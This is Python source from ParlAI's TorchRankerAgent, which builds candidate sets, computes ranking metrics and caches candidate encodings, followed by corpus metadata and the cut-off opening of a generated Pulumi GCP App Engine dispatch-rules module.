for batch in tqdm(cand_batches): # cand_vecs.extend(self.vectorize_fixed_candidates(batch)) # return padded_3d( # [cand_vecs], pad_idx=self.NULL_IDX, dtype=cand_vecs[0].dtype # ).squeeze(0) # # def _save_candidates(self, vecs, path, cand_type='vectors'): # """ # Save cached vectors. # """ # print("[ Saving fixed candidate set {} to {} ]".format(cand_type, path)) # with open(path, 'wb') as f: # torch.save(vecs, f) # # def encode_candidates(self, padded_cands): # """ # Convert the given candidates to vectors. # # This is an abstract method that must be implemented by the user. # # :param padded_cands: # The padded candidates. # """ # raise NotImplementedError( # 'Abstract method: user must implement encode_candidates(). ' # 'If your agent encodes candidates independently ' # 'from context, you can get performance gains with fixed cands by ' # 'implementing this function and running with the flag ' # '--encode-candidate-vecs True.' # ) # # def _make_candidate_encs(self, vecs): # """ # Encode candidates from candidate vectors. # # Requires encode_candidates() to be implemented. # """ # # cand_encs = [] # bsz = self.opt.get('encode_candidate_vecs_batchsize', 256) # vec_batches = [vecs[i : i + bsz] for i in range(0, len(vecs), bsz)] # print( # "[ Encoding fixed candidates set from ({} batch(es) of up to {}) ]" # "".format(len(vec_batches), bsz) # ) # # Put model into eval mode when encoding candidates # self.model.eval() # with torch.no_grad(): # for vec_batch in tqdm(vec_batches): # cand_encs.append(self.encode_candidates(vec_batch).cpu()) # return torch.cat(cand_encs, 0).to(vec_batch.device) # # def vectorize_fixed_candidates(self, cands_batch, add_start=False, add_end=False): # """ # Convert a batch of candidates from text to vectors. # # :param cands_batch: # a [batchsize] list of candidates (strings) # :returns: # a [num_cands] list of candidate vectors # # By default, candidates are simply vectorized (tokens replaced by token ids). # A child class may choose to overwrite this method to perform vectorization as # well as encoding if so desired. # """ # return [ # self._vectorize_text( # cand, # truncate=self.label_truncate, # truncate_left=False, # add_start=add_start, # add_end=add_end, # ) # for cand in cands_batch # ] #!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. """ Torch Ranker Agents provide functionality for building ranking models. See the TorchRankerAgent tutorial for examples. """ from typing import Dict, Any from abc import abstractmethod from itertools import islice import os from tqdm import tqdm import random import torch from parlai.core.opt import Opt from parlai.utils.distributed import is_distributed from parlai.core.torch_agent import TorchAgent, Output from parlai.utils.misc import warn_once from parlai.utils.torch import ( padded_3d, total_parameters, trainable_parameters, PipelineHelper, ) from parlai.utils.fp16 import FP16SafeCrossEntropy from parlai.core.metrics import AverageMetric class TorchRankerAgent(TorchAgent): """ Abstract TorchRankerAgent class; only meant to be extended. TorchRankerAgents aim to provide convenient functionality for building ranking models. This includes: - Training/evaluating on candidates from a variety of sources. - Computing hits@1, hits@5, mean reciprical rank (MRR), and other metrics. - Caching representations for fast runtime when deploying models to production. """ @classmethod def add_cmdline_args(cls, argparser): """ Add CLI args. """ super(TorchRankerAgent, cls).add_cmdline_args(argparser) agent = argparser.add_argument_group('TorchRankerAgent') agent.add_argument( '-cands', '--candidates', type=str, default='inline', choices=['batch', 'inline', 'fixed', 'batch-all-cands'], help='The source of candidates during training ' '(see TorchRankerAgent._build_candidates() for details).', ) agent.add_argument( '-ecands', '--eval-candidates', type=str, default='inline', choices=['batch', 'inline', 'fixed', 'vocab', 'batch-all-cands'], help='The source of candidates during evaluation (defaults to the same' 'value as --candidates if no flag is given)', ) agent.add_argument( '--repeat-blocking-heuristic', type='bool', default=True, help='Block repeating previous utterances. ' 'Helpful for many models that score repeats highly, so switched ' 'on by default.', ) agent.add_argument( '-fcp', '--fixed-candidates-path', type=str, help='A text file of fixed candidates to use for all examples, one ' 'candidate per line', ) agent.add_argument( '--fixed-candidate-vecs', type=str, default='reuse', help='One of "reuse", "replace", or a path to a file with vectors ' 'corresponding to the candidates at --fixed-candidates-path. ' 'The default path is a /path/to/model-file.<cands_name>, where ' '<cands_name> is the name of the file (not the full path) passed by ' 'the flag --fixed-candidates-path. By default, this file is created ' 'once and reused. To replace it, use the "replace" option.', ) agent.add_argument( '--encode-candidate-vecs', type='bool', default=True, help='Cache and save the encoding of the candidate vecs. This ' 'might be used when interacting with the model in real time ' 'or evaluating on fixed candidate set when the encoding of ' 'the candidates is independent of the input.', ) agent.add_argument( '--encode-candidate-vecs-batchsize', type=int, default=256, hidden=True, help='Batchsize when encoding candidate vecs', ) agent.add_argument( '--init-model', type=str, default=None, help='Initialize model with weights from this file.', ) agent.add_argument( '--train-predict', type='bool', default=False, help='Get predictions and calculate mean rank during the train ' 'step. Turning this on may slow down training.', ) agent.add_argument( '--cap-num-predictions', type=int, default=100, help='Limit to the number of predictions in output.text_candidates', ) agent.add_argument( '--ignore-bad-candidates', type='bool', default=False, help='Ignore examples for which the label is not present in the ' 'label candidates. Default behavior results in RuntimeError. ', ) agent.add_argument( '--rank-top-k', type=int, default=-1, help='Ranking returns the top k results of k > 0, otherwise sorts every ' 'single candidate according to the ranking.', ) agent.add_argument( '--inference', choices={'max', 'topk'}, default='max', help='Final response output algorithm', ) agent.add_argument( '--topk', type=int, default=5, help='K used in Top K sampling inference, when selected', ) agent.add_argument( '--return-cand-scores', type='bool', default=False, help='Return sorted candidate scores from eval_step', ) def __init__(self, opt: Opt, shared=None): # Must call _get_init_model() first so that paths are updated if necessary # (e.g., a .dict file) init_model, is_finetune = self._get_init_model(opt, shared) opt['rank_candidates'] = True super().__init__(opt, shared) states: Dict[str, Any] if shared: states = {} else: # Note: we cannot change the type of metrics ahead of time, so you # should correctly initialize to floats or ints here self.criterion = self.build_criterion() self.model = self.build_model() if self.model is None or self.criterion is None: raise AttributeError( 'build_model() and build_criterion() need to return the model ' 'or criterion' ) train_params = trainable_parameters(self.model) total_params = total_parameters(self.model) print(f"Total parameters: {total_params:,d} ({train_params:,d} trainable)") if self.fp16: self.model = self.model.half() if init_model: print('Loading existing model parameters from ' + init_model) states = self.load(init_model) else: states = {} if self.use_cuda: if self.model_parallel: self.model = PipelineHelper().make_parallel(self.model) else: self.model.cuda() if self.data_parallel: self.model = torch.nn.DataParallel(self.model) self.criterion.cuda() self.rank_top_k = opt.get('rank_top_k', -1) # Vectorize and save fixed/vocab candidates once upfront if applicable self.set_fixed_candidates(shared) self.set_vocab_candidates(shared) if shared: # We don't use get here because hasattr is used on optimizer later. if 'optimizer' in shared: self.optimizer = shared['optimizer'] elif self._should_initialize_optimizer(): # only build an optimizer if we're training optim_params = [p for p in self.model.parameters() if p.requires_grad] self.init_optim( optim_params, states.get('optimizer'), states.get('optimizer_type') ) self.build_lr_scheduler(states, hard_reset=is_finetune) if shared is None and is_distributed(): device_ids = None if self.model_parallel else [self.opt['gpu']] self.model = torch.nn.parallel.DistributedDataParallel( self.model, device_ids=device_ids, broadcast_buffers=False ) def build_criterion(self): """ Construct and return the loss function. By default torch.nn.CrossEntropyLoss. """ if self.fp16: return FP16SafeCrossEntropy(reduction='none') else: return torch.nn.CrossEntropyLoss(reduction='none') def set_interactive_mode(self, mode, shared=False): super().set_interactive_mode(mode, shared) self.candidates = self.opt['candidates'] self.encode_candidate_vecs = self.opt['encode_candidate_vecs'] if mode: self.eval_candidates = 'fixed' self.ignore_bad_candidates = True self.fixed_candidates_path = self.opt['fixed_candidates_path'] if self.fixed_candidates_path is None or self.fixed_candidates_path == '': # Attempt to get a standard candidate set for the given task path = self.get_task_candidates_path() if path: if not shared: print("[setting fixed_candidates path to: " + path + " ]") self.fixed_candidates_path = path else: self.eval_candidates = self.opt['eval_candidates'] self.ignore_bad_candidates = self.opt.get('ignore_bad_candidates', False) self.fixed_candidates_path = self.opt['fixed_candidates_path'] def get_task_candidates_path(self): path = self.opt['model_file'] + '.cands-' + self.opt['task'] + '.cands' if os.path.isfile(path) and self.opt['fixed_candidate_vecs'] == 'reuse': return path print("[ *** building candidates file as they do not exist: " + path + ' *** ]') from parlai.scripts.build_candidates import build_cands from copy import deepcopy opt = deepcopy(self.opt) opt['outfile'] = path opt['datatype'] = 'train:evalmode' opt['interactive_task'] = False opt['batchsize'] = 1 build_cands(opt) return path @abstractmethod def score_candidates(self, batch, cand_vecs, cand_encs=None): """ Given a batch and candidate set, return scores (for ranking). :param Batch batch: a Batch object (defined in torch_agent.py) :param LongTensor cand_vecs: padded and tokenized candidates :param FloatTensor cand_encs: encoded candidates, if these are passed into the function (in cases where we cache the candidate encodings), you do not need to call self.model on cand_vecs """ pass def _maybe_invalidate_fixed_encs_cache(self): if self.candidates != 'fixed': self.fixed_candidate_encs = None def _get_batch_train_metrics(self, scores): """ Get fast metrics calculations if we train with batch candidates. Specifically, calculate accuracy ('train_accuracy'), average rank, and mean reciprocal rank. """ batchsize = scores.size(0) # get accuracy targets = scores.new_empty(batchsize).long() targets = torch.arange(batchsize, out=targets) nb_ok = (scores.max(dim=1)[1] == targets).float() self.record_local_metric('train_accuracy', AverageMetric.many(nb_ok)) # calculate mean_rank above_dot_prods = scores - scores.diag().view(-1, 1) ranks = (above_dot_prods > 0).float().sum(dim=1) + 1 mrr = 1.0 / (ranks + 0.00001) self.record_local_metric('rank', AverageMetric.many(ranks)) self.record_local_metric('mrr', AverageMetric.many(mrr)) def _get_train_preds(self, scores, label_inds, cands, cand_vecs): """ Return predictions from training. """ # TODO: speed these calculations up batchsize = scores.size(0) if self.rank_top_k > 0: _, ranks = scores.topk( min(self.rank_top_k, scores.size(1)), 1, largest=True ) else: _, ranks = scores.sort(1, descending=True) ranks_m = [] mrrs_m = [] for b in range(batchsize): rank = (ranks[b] == label_inds[b]).nonzero() rank = rank.item() if len(rank) == 1 else scores.size(1) ranks_m.append(1 + rank) mrrs_m.append(1.0 / (1 + rank)) self.record_local_metric('rank', AverageMetric.many(ranks_m)) self.record_local_metric('mrr', AverageMetric.many(mrrs_m)) ranks = ranks.cpu() # Here we get the top prediction for each example, but do not # return the full ranked list for the sake of training speed preds = [] for i, ordering in enumerate(ranks): if cand_vecs.dim() == 2: # num cands x max cand length cand_list = cands elif cand_vecs.dim() == 3: # batchsize x num cands x max cand length cand_list = cands[i] if len(ordering) != len(cand_list): # We may have added padded cands to fill out the batch; # Here we break after finding the first non-pad cand in the # ranked list for x in ordering: if x < len(cand_list): preds.append(cand_list[x]) break else: preds.append(cand_list[ordering[0]]) return Output(preds) def is_valid(self, obs): """ Override from TorchAgent. Check to see if label candidates contain the label. """ if not self.ignore_bad_candidates: return super().is_valid(obs) if not super().is_valid(obs): return False # skip examples for which the set of label candidates do not # contain the label if 'labels_vec' in obs and 'label_candidates_vecs' in obs: cand_vecs = obs['label_candidates_vecs'] label_vec = obs['labels_vec'] matches = [x for x in cand_vecs if torch.equal(x, label_vec)] if len(matches) == 0: warn_once( 'At least one example has a set of label candidates that ' 'does not contain the label.' ) return False return True def train_step(self, batch): """ Train on a single batch of examples. """ self._maybe_invalidate_fixed_encs_cache() if batch.text_vec is None and batch.image is None: return self.model.train() self.zero_grad() cands, cand_vecs, label_inds = self._build_candidates( batch, source=self.candidates, mode='train' ) try: scores = self.score_candidates(batch, cand_vecs) loss = self.criterion(scores, label_inds) self.record_local_metric('mean_loss', AverageMetric.many(loss)) loss = loss.mean() self.backward(loss) self.update_params() except RuntimeError as e: # catch out of memory exceptions during fwd/bck (skip batch) if 'out of memory' in str(e): print( '| WARNING: ran out of memory, skipping batch. ' 'if this happens frequently, decrease batchsize or ' 'truncate the inputs to the model.' ) return Output() else: raise e # Get train predictions if self.candidates == 'batch': self._get_batch_train_metrics(scores) return Output() if not self.opt.get('train_predict', False): warn_once( "Some training metrics are omitted for speed. Set the flag " "`--train-predict` to calculate train metrics." ) return Output() return self._get_train_preds(scores, label_inds, cands, cand_vecs) def eval_step(self, batch): """ Evaluate a single batch of examples. """ if batch.text_vec is None and batch.image is None: return batchsize = ( batch.text_vec.size(0) if batch.text_vec is not None else batch.image.size(0) ) self.model.eval() cands, cand_vecs, label_inds = self._build_candidates( batch, source=self.eval_candidates, mode='eval' ) cand_encs = None if self.encode_candidate_vecs and self.eval_candidates in ['fixed', 'vocab']: # if we cached candidate encodings for a fixed list of candidates, # pass those into the score_candidates function if self.fixed_candidate_encs is None: self.fixed_candidate_encs = self._make_candidate_encs( cand_vecs ).detach() if self.eval_candidates == 'fixed': cand_encs = self.fixed_candidate_encs elif self.eval_candidates == 'vocab': cand_encs = self.vocab_candidate_encs scores = self.score_candidates(batch, cand_vecs, cand_encs=cand_encs) if self.rank_top_k > 0: sorted_scores, ranks = scores.topk( min(self.rank_top_k, scores.size(1)), 1, largest=True ) else: sorted_scores, ranks = scores.sort(1, descending=True) if self.opt.get('return_cand_scores', False): sorted_scores = sorted_scores.cpu() else: sorted_scores = None # Update metrics if label_inds is not None: loss = self.criterion(scores, label_inds) self.record_local_metric('loss', AverageMetric.many(loss)) ranks_m = [] mrrs_m = [] for b in range(batchsize): rank = (ranks[b] == label_inds[b]).nonzero() rank = rank.item() if len(rank) == 1 else scores.size(1) ranks_m.append(1 + rank) mrrs_m.append(1.0 / (1 + rank)) self.record_local_metric('rank', AverageMetric.many(ranks_m)) self.record_local_metric('mrr', AverageMetric.many(mrrs_m)) ranks = ranks.cpu() max_preds = self.opt['cap_num_predictions'] cand_preds = [] for i, ordering in enumerate(ranks): if cand_vecs.dim() == 2: cand_list = cands elif cand_vecs.dim() == 3: cand_list = cands[i] # using a generator instead of a list comprehension allows # to cap the number of elements. cand_preds_generator = ( cand_list[rank] for rank in ordering if rank < len(cand_list) ) cand_preds.append(list(islice(cand_preds_generator, max_preds))) if ( self.opt.get('repeat_blocking_heuristic', True) and self.eval_candidates == 'fixed' ): cand_preds = self.block_repeats(cand_preds) if self.opt.get('inference', 'max') == 'max': preds = [cand_preds[i][0] for i in range(batchsize)] else: # Top-k inference. preds = [] for i in range(batchsize): preds.append(random.choice(cand_preds[i][0 : self.opt['topk']])) return Output(preds, cand_preds, sorted_scores=sorted_scores) def block_repeats(self, cand_preds): """ Heuristic to block a model repeating a line from the history. """ history_strings = [] for h in self.history.history_raw_strings: # Heuristic: Block any given line in the history, splitting by '\n'. history_strings.extend(h.split('\n')) new_preds = [] for cp in cand_preds: np = [] for c in cp: if c not in history_strings: np.append(c) new_preds.append(np) return new_preds def _set_label_cands_vec(self, *args, **kwargs): """ Set the 'label_candidates_vec' field in the observation. Useful to override to change vectorization behavior. """ obs = args[0] if 'labels' in obs: cands_key = 'candidates' else: cands_key = 'eval_candidates' if self.opt[cands_key] not in ['inline', 'batch-all-cands']: # vectorize label candidates if and only if we are using inline # candidates return obs return super()._set_label_cands_vec(*args, **kwargs) def _build_candidates(self, batch, source, mode): """ Build a candidate set for this batch. :param batch: a Batch object (defined in torch_agent.py) :param source: the source from which candidates should be built, one of ['batch', 'batch-all-cands', 'inline', 'fixed'] :param mode: 'train' or 'eval' :return: tuple of tensors (label_inds, cands, cand_vecs) label_inds: A [bsz] LongTensor of the indices of the labels for each example from its respective candidate set cands: A [num_cands] list of (text) candidates OR a [batchsize] list of such lists if source=='inline' cand_vecs: A padded [num_cands, seqlen] LongTensor of vectorized candidates OR a [batchsize, num_cands, seqlen] LongTensor if source=='inline' Possible sources of candidates: * batch: the set of all labels in this batch Use all labels in the batch as the candidate set (with all but the example's label being treated as negatives). Note: with this setting, the candidate set is identical for all examples in a batch. This option may be undesirable if it is possible for duplicate labels to occur in a batch, since the second instance of the correct label will be treated as a negative. * batch-all-cands: the set of all candidates in this batch Use all candidates in the batch as candidate set. Note 1: This can result in a very large number of candidates. Note 2: In this case we will deduplicate candidates. Note 3: just like with 'batch' the candidate set is identical for all examples in a batch. * inline: batch_size lists, one list per example If each example comes with a list of possible candidates, use those. Note: With this setting, each example will have its own candidate set. * fixed: one global candidate list, provided in a file from the user If self.fixed_candidates is not None, use a set of fixed candidates for all examples. Note: this setting is not recommended for training unless the universe of possible candidates is very small. * vocab: one global candidate list, extracted from the vocabulary with the exception of self.NULL_IDX. """ label_vecs = batch.label_vec # [bsz] list of lists of LongTensors label_inds = None batchsize = ( batch.text_vec.size(0) if batch.text_vec is not None else batch.image.size(0) ) if label_vecs is not None: assert label_vecs.dim() == 2 if source == 'batch': warn_once( '[ Executing {} mode with batch labels as set of candidates. ]' ''.format(mode) ) if batchsize == 1: warn_once( "[ Warning: using candidate source 'batch' and observed a " "batch of size 1. This may be due to uneven batch sizes at " "the end of an epoch. ]" ) if label_vecs is None: raise ValueError( "If using candidate source 'batch', then batch.label_vec cannot be " "None." ) cands = batch.labels cand_vecs = label_vecs label_inds = label_vecs.new_tensor(range(batchsize)) elif source == 'batch-all-cands': warn_once( '[ Executing {} mode with all candidates provided in the batch ]' ''.format(mode) ) if batch.candidate_vecs is None: raise ValueError( "If using candidate source 'batch-all-cands', then batch." "candidate_vecs cannot be None. If your task does not have " "inline candidates, consider using one of " "--{m}={{'batch','fixed','vocab'}}." "".format(m='candidates' if mode == 'train' else 'eval-candidates') ) # initialize the list of cands with the labels cands = [] all_cands_vecs = [] # dictionary used for deduplication cands_to_id = {} for i, cands_for_sample in enumerate(batch.candidates): for j, cand in enumerate(cands_for_sample): if cand not in cands_to_id: cands.append(cand) cands_to_id[cand] = len(cands_to_id) all_cands_vecs.append(batch.candidate_vecs[i][j]) cand_vecs, _ = self._pad_tensor(all_cands_vecs) label_inds = label_vecs.new_tensor( [cands_to_id[label] for label in batch.labels] ) elif source == 'inline': warn_once( '[ Executing {} mode with provided inline set of candidates ]' ''.format(mode) ) if batch.candidate_vecs is None: raise ValueError( "If using candidate source 'inline', then batch.candidate_vecs " "cannot be None. If your task does not have inline candidates, " "consider using one of --{m}={{'batch','fixed','vocab'}}." "".format(m='candidates' if mode == 'train' else 'eval-candidates') ) cands = batch.candidates cand_vecs = padded_3d( batch.candidate_vecs, self.NULL_IDX, use_cuda=self.use_cuda, fp16friendly=self.fp16, ) if label_vecs is not None: label_inds = label_vecs.new_empty((batchsize)) bad_batch = False for i, label_vec in enumerate(label_vecs): label_vec_pad = label_vec.new_zeros(cand_vecs[i].size(1)).fill_( self.NULL_IDX ) if cand_vecs[i].size(1) < len(label_vec): label_vec = label_vec[0 : cand_vecs[i].size(1)] label_vec_pad[0 : label_vec.size(0)] = label_vec label_inds[i] = self._find_match(cand_vecs[i], label_vec_pad) if label_inds[i] == -1: bad_batch = True if bad_batch: if self.ignore_bad_candidates and not self.is_training: label_inds = None else: raise RuntimeError( 'At least one of your examples has a set of label candidates ' 'that does not contain the label. To ignore this error ' 'set `--ignore-bad-candidates True`.' ) elif source == 'fixed': if self.fixed_candidates is None: raise ValueError( "If using candidate source 'fixed', then you must provide the path " "to a file of candidates with the flag --fixed-candidates-path or " "the name of a task with --fixed-candidates-task." ) warn_once( "[ Executing {} mode with a common set of fixed candidates " "(n = {}). ]".format(mode, len(self.fixed_candidates)) ) cands = self.fixed_candidates cand_vecs = self.fixed_candidate_vecs if label_vecs is not None: label_inds = label_vecs.new_empty((batchsize)) bad_batch = False for batch_idx, label_vec in enumerate(label_vecs): max_c_len = cand_vecs.size(1) label_vec_pad = label_vec.new_zeros(max_c_len).fill_(self.NULL_IDX) if max_c_len < len(label_vec): label_vec = label_vec[0:max_c_len] label_vec_pad[0 : label_vec.size(0)] = label_vec label_inds[batch_idx] = self._find_match(cand_vecs, label_vec_pad) if label_inds[batch_idx] == -1: bad_batch = True if bad_batch: if self.ignore_bad_candidates and not self.is_training: label_inds = None else: raise RuntimeError( 'At least one of your examples has a set of label candidates ' 'that does not contain the label. To ignore this error ' 'set `--ignore-bad-candidates True`.' ) elif source == 'vocab': warn_once( '[ Executing {} mode with tokens from vocabulary as candidates. ]' ''.format(mode) ) cands = self.vocab_candidates cand_vecs = self.vocab_candidate_vecs # NOTE: label_inds is None here, as we will not find the label in # the set of vocab candidates else: raise Exception("Unrecognized source: %s" % source) return (cands, cand_vecs, label_inds) @staticmethod def _find_match(cand_vecs, label_vec): matches = ((cand_vecs == label_vec).sum(1) == cand_vecs.size(1)).nonzero() if len(matches) > 0: return matches[0] return -1 def share(self): """ Share model parameters. """ shared = super().share() shared['fixed_candidates'] = self.fixed_candidates shared['fixed_candidate_vecs'] = self.fixed_candidate_vecs shared['fixed_candidate_encs'] = self.fixed_candidate_encs shared['num_fixed_candidates'] = self.num_fixed_candidates shared['vocab_candidates'] = self.vocab_candidates shared['vocab_candidate_vecs'] = self.vocab_candidate_vecs shared['vocab_candidate_encs'] = self.vocab_candidate_encs if hasattr(self, 'optimizer'): shared['optimizer'] = self.optimizer return shared def set_vocab_candidates(self, shared): """ Load the tokens from the vocab as candidates. self.vocab_candidates will contain a [num_cands] list of strings self.vocab_candidate_vecs will contain a [num_cands, 1] LongTensor """ if shared: self.vocab_candidates = shared['vocab_candidates'] self.vocab_candidate_vecs = shared['vocab_candidate_vecs'] self.vocab_candidate_encs = shared['vocab_candidate_encs'] else: if 'vocab' in (self.opt['candidates'], self.opt['eval_candidates']): cands = [] vecs = [] for ind in range(1, len(self.dict)): cands.append(self.dict.ind2tok[ind]) vecs.append(ind) self.vocab_candidates = cands self.vocab_candidate_vecs = torch.LongTensor(vecs).unsqueeze(1) print( "[ Loaded fixed candidate set (n = {}) from vocabulary ]" "".format(len(self.vocab_candidates)) ) if self.use_cuda: self.vocab_candidate_vecs = self.vocab_candidate_vecs.cuda() if self.encode_candidate_vecs: # encode vocab candidate vecs self.vocab_candidate_encs = self._make_candidate_encs( self.vocab_candidate_vecs ) if self.use_cuda: self.vocab_candidate_encs = self.vocab_candidate_encs.cuda() if self.fp16: self.vocab_candidate_encs = self.vocab_candidate_encs.half() else: self.vocab_candidate_encs = self.vocab_candidate_encs.float() else: self.vocab_candidate_encs = None else: self.vocab_candidates = None self.vocab_candidate_vecs = None self.vocab_candidate_encs = None def set_fixed_candidates(self, shared): """ Load a set of fixed candidates and their vectors (or vectorize them here). self.fixed_candidates will contain a [num_cands] list of strings self.fixed_candidate_vecs will contain a [num_cands, seq_len] LongTensor See the note on the --fixed-candidate-vecs flag for an explanation of the 'reuse', 'replace', or path options. Note: TorchRankerAgent by default converts candidates to vectors by vectorizing in the common sense (i.e., replacing each token with its index in the dictionary). If a child model wants to additionally perform encoding, it can overwrite the vectorize_fixed_candidates() method to produce encoded vectors instead of just vectorized ones. """ if shared: self.fixed_candidates = shared['fixed_candidates'] self.fixed_candidate_vecs = shared['fixed_candidate_vecs'] self.fixed_candidate_encs = shared['fixed_candidate_encs'] self.num_fixed_candidates = shared['num_fixed_candidates'] else: self.num_fixed_candidates = 0 opt = self.opt cand_path = self.fixed_candidates_path if 'fixed' in (self.candidates, self.eval_candidates): if not cand_path: # Attempt to get a standard candidate set for the given task path = self.get_task_candidates_path() if path: print("[setting fixed_candidates path to: " + path + " ]") self.fixed_candidates_path = path cand_path = self.fixed_candidates_path # Load candidates print("[ Loading fixed candidate set from {} ]".format(cand_path)) with open(cand_path, 'r', encoding='utf-8') as f: cands = [line.strip() for line in f.readlines()] # Load or create candidate vectors if os.path.isfile(self.opt['fixed_candidate_vecs']): vecs_path = opt['fixed_candidate_vecs'] vecs = self.load_candidates(vecs_path) else: setting = self.opt['fixed_candidate_vecs'] model_dir, model_file = os.path.split(self.opt['model_file']) model_name = os.path.splitext(model_file)[0] cands_name = os.path.splitext(os.path.basename(cand_path))[0] vecs_path = os.path.join( model_dir, '.'.join([model_name, cands_name, 'vecs']) ) if setting == 'reuse' and os.path.isfile(vecs_path): vecs = self.load_candidates(vecs_path) else: # setting == 'replace' OR generating for the first time vecs = self._make_candidate_vecs(cands) self._save_candidates(vecs, vecs_path) self.fixed_candidates = cands self.num_fixed_candidates = len(self.fixed_candidates) self.fixed_candidate_vecs = vecs if self.use_cuda: self.fixed_candidate_vecs = self.fixed_candidate_vecs.cuda() if self.encode_candidate_vecs: # candidate encodings are fixed so set them up now enc_path = os.path.join( model_dir, '.'.join([model_name, cands_name, 'encs']) ) if setting == 'reuse' and os.path.isfile(enc_path): encs = self.load_candidates(enc_path, cand_type='encodings') else: encs = self._make_candidate_encs(self.fixed_candidate_vecs) self._save_candidates( encs, path=enc_path, cand_type='encodings' ) self.fixed_candidate_encs = encs if self.use_cuda: self.fixed_candidate_encs = self.fixed_candidate_encs.cuda() if self.fp16: self.fixed_candidate_encs = self.fixed_candidate_encs.half() else: self.fixed_candidate_encs = self.fixed_candidate_encs.float() else: self.fixed_candidate_encs = None else: self.fixed_candidates = None self.fixed_candidate_vecs = None self.fixed_candidate_encs = None def load_candidates(self, path, cand_type='vectors'): """ Load fixed candidates from a path. """ print("[ Loading fixed candidate set {} from {} ]".format(cand_type, path)) return torch.load(path, map_location=lambda cpu, _: cpu) def _make_candidate_vecs(self, cands): """ Prebuild cached vectors for fixed candidates. """ cand_batches = [cands[i : i + 512] for i in range(0, len(cands), 512)] print( "[ Vectorizing fixed candidate set ({} batch(es) of up to 512) ]" "".format(len(cand_batches)) ) cand_vecs = [] for batch in tqdm(cand_batches): cand_vecs.extend(self.vectorize_fixed_candidates(batch)) return padded_3d( [cand_vecs], pad_idx=self.NULL_IDX, dtype=cand_vecs[0].dtype ).squeeze(0) def _save_candidates(self, vecs, path, cand_type='vectors'): """ Save cached vectors. """ print("[ Saving fixed candidate set {} to {} ]".format(cand_type, path)) with open(path, 'wb') as f: torch.save(vecs, f) def encode_candidates(self, padded_cands): """ Convert the given candidates to vectors. This is an abstract method that must be implemented by the user. :param padded_cands: The padded candidates. """ raise NotImplementedError( 'Abstract method: user must implement encode_candidates(). ' 'If your agent encodes candidates independently ' 'from context, you can get performance gains with fixed cands by ' 'implementing this function and running with the flag ' '--encode-candidate-vecs True.' ) def _make_candidate_encs(self, vecs): """ Encode candidates from candidate vectors. Requires encode_candidates() to be implemented. """ cand_encs = [] bsz = self.opt.get('encode_candidate_vecs_batchsize', 256) vec_batches = [vecs[i : i + bsz] for i in range(0, len(vecs), bsz)] print( "[ Encoding fixed candidates set from ({} batch(es) of up to {}) ]" "".format(len(vec_batches), bsz) ) # Put model into eval mode when encoding candidates self.model.eval() with torch.no_grad(): for vec_batch in tqdm(vec_batches): cand_encs.append(self.encode_candidates(vec_batch).cpu()) return torch.cat(cand_encs, 0).to(vec_batch.device) def vectorize_fixed_candidates(self, cands_batch, add_start=False, add_end=False): """ Convert a batch of candidates from text to vectors. :param cands_batch: a [batchsize] list of candidates (strings) :returns: a [num_cands] list of candidate vectors By default, candidates are simply vectorized (tokens replaced by token ids). A child class may choose to overwrite this method to perform vectorization as well as encoding if so desired. """ return [ self._vectorize_text( cand, truncate=self.label_truncate, truncate_left=False, add_start=add_start, add_end=add_end, ) for cand in cands_batch ]

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bcc3ce209d16a1f1a0aa9ad76c7aec97988e31bd

14,152

py

Python

sdk/python/pulumi_gcp/appengine/application_url_dispatch_rules.py

sisisin/pulumi-gcp

af6681d70ea457843409110c1324817fe55f68ad

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_gcp/appengine/application_url_dispatch_rules.py

sisisin/pulumi-gcp

af6681d70ea457843409110c1324817fe55f68ad

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_gcp/appengine/application_url_dispatch_rules.py

sisisin/pulumi-gcp

af6681d70ea457843409110c1324817fe55f68ad

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ['ApplicationUrlDispatchRulesArgs', 'ApplicationUrlDispatchRules'] @pulumi.input_type class ApplicationUrlDispatchRulesArgs: def __init__(__self__, *, dispatch_rules: pulumi.Input[Sequence[pulumi.Input['ApplicationUrlDispatchRulesDispatchRuleArgs']]], project: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a ApplicationUrlDispatchRules resource. :param pulumi.Input[Sequence[pulumi.Input['ApplicationUrlDispatchRulesDispatchRuleArgs']]] dispatch_rules: Rules to match an HTTP request and dispatch that request to a service. Structure is documented below. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ pulumi.set(__self__, "dispatch_rules", dispatch_rules) if project is not None: pulumi.set(__self__, "project", project) @property @pulumi.getter(name="dispatchRules") def dispatch_rules(self) -> pulumi.Input[Sequence[pulumi.Input['ApplicationUrlDispatchRulesDispatchRuleArgs']]]: """ Rules to match an HTTP request and dispatch that request to a service. Structure is documented below. """ return pulumi.get(self, "dispatch_rules") @dispatch_rules.setter def dispatch_rules(self, value: pulumi.Input[Sequence[pulumi.Input['ApplicationUrlDispatchRulesDispatchRuleArgs']]]): pulumi.set(self, "dispatch_rules", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @pulumi.input_type class _ApplicationUrlDispatchRulesState: def __init__(__self__, *, dispatch_rules: Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationUrlDispatchRulesDispatchRuleArgs']]]] = None, project: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering ApplicationUrlDispatchRules resources. :param pulumi.Input[Sequence[pulumi.Input['ApplicationUrlDispatchRulesDispatchRuleArgs']]] dispatch_rules: Rules to match an HTTP request and dispatch that request to a service. Structure is documented below. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ if dispatch_rules is not None: pulumi.set(__self__, "dispatch_rules", dispatch_rules) if project is not None: pulumi.set(__self__, "project", project) @property @pulumi.getter(name="dispatchRules") def dispatch_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationUrlDispatchRulesDispatchRuleArgs']]]]: """ Rules to match an HTTP request and 